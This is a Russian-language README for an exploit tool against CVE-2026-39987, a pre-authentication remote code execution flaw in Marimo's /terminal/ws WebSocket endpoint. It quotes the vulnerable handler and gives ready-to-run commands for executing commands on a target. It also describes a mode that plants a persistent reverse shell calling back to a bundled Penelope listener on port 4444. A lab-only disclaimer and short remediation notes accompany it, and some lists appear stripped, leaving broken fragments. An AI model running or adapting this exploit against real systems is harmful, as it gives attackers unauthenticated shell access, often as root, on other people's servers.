
Эксплойт для Marimo до версии 0.23.0. Уязвимость RCE до аутентификации через websocket-эндпоинт: /terminal/ws.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Удалённое выполнение кода без аутентификации в Marimo — реактивном Python-сервере для ноутбуков.
Одно неаутентифицированное WebSocket-соединение с /terminal/ws даёт полноценную интерактивную PTY-оболочку от имени пользователя, под которым запущен процесс Marimo (часто root в Docker).
Только для лабораторных работ / авторизованного тестирования (HTB, CTF, работы в рамках письменного согласования).
Marimo предоставляет встроенный терминал через WebSocket по адресу:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
Остальные WebSocket-маршруты (в частности /ws для интерфейса ноутбуков) корректно вызывают validate_auth().
/terminal/ws этого не делает. Он лишь проверяет:
и затем сразу:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
Не требуется ни cookie, ни токена, ни пароля, ни заголовка Authorization — даже если на экземпляре включена аутентификация.
Воздействие: неаутентифицированное выполнение произвольных команд с правами процесса Marimo. В стандартных контейнерных образах это часто root.
Файл (уязвимая версия): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
Сравните с WebSocket ноутбука (ws_endpoint.py), который принудительно проверяет аутентификацию:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws без учётных данных| Статус | Версии |
|---|---|
| Уязвимые | Marimo <= 0.20.4 (до исправления) |
| Исправленные | Marimo 0.23.0 и новее |
Любое развёртывание, которое открывает терминальный WebSocket (режим edit, поддержка PTY) без внешнего шлюза аутентификации, попадает в зону риска.
| Файл | Назначение |
|---|---|
exploit.py | PoC: выполнение команд + постоянный reverse-shell + запуск Penelope |
penelope.py | Автономный обработчик оболочки (brightio/penelope) |
README.md | Этот файл |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
Для penelope.py не нужны дополнительные зависимости (только стандартная библиотека Python 3.6+).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
Что происходит:
/terminal/ws0.0.0.0:4444python3 exploit.py -h
Penelope поставляется в комплекте как автономный скрипт (penelope.py):
Стандартный сценарий (-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
Дочерний процесс используется намеренно: os.execv(penelope) заменяет образ родительского процесса, что убило бы фоновый поток.
Запуск Penelope вручную:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env, SSH-ключи), проверьте исходящие соединения и механизмы закрепления (persistence)Этот проект предназначен только для авторизованного тестирования безопасности, обучения и оборонительных исследований.
Вы несёте ответственность за соблюдение действующего законодательства и правил тестирования вашей лаборатории или заказчика.